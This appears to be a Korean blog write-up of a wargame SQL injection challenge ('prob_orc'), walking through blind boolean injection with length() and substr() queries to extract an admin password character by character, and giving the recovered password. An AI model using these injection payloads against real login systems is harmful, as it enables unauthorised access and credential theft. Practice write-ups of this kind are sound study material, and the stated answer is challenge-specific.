소스코드를 살펴보면, 이번 문제는 우회해서 뚫는게 아닌 pw 값 자체를 알아내야한다.
우선 length() 함수를 이용해서 pw 의 길이를 알아내보려고 한다.
select id from prob_orc where id='admin' and pw='' or id='admin' and length(pw)=8 --
뒤쪽에 쿼리를 삽입해 참, 거짓으로 pw 의 길이와 값을 알아낼 것이다.
select id from prob_orc where id='admin' and pw='' or id='admin' and length(pw)=8 --
앞쪽의 빨간색 조건은 무조건 거짓이다 [ pw 불일치] 뒤쪽이 참이되려면 pw 길이가 8이어야 한다.
조건이 참이 되면 첫번째 if 문에 의해 Hello admin 이 출력 될 것이다.
이렇게 pw 길이가 8자리 인것을 알아냈다. (1부터 다해보았다)
그 다음, substr() 함수를 이용해서 첫글자부터 아스키값을 비교해가며 pw를 찾아낸다.
ex) substr(pw,1,1) > '0' --> pw 의 첫번째 글자의 아스키코드 값이 0보다 큰가 ?
ex) substr(pw,3,1) < '5' --> pw 의 세번째 글자의 아스키코드 값이 5보다 작은가 ?
select id from prob_orc where id='admin' and pw='' or id='admin' and substr(pw,1,1) > '0' --
이렇게 한글자 한글자 삽질(?)을 열심히 하면 어느새 8자리 비밀번호를 다 알수 있다.
pw=295d5844 이다.
클리ㅇㅓ~~
ps. 더 길어지면 코딩을 해서 풀어야 할 것 같다.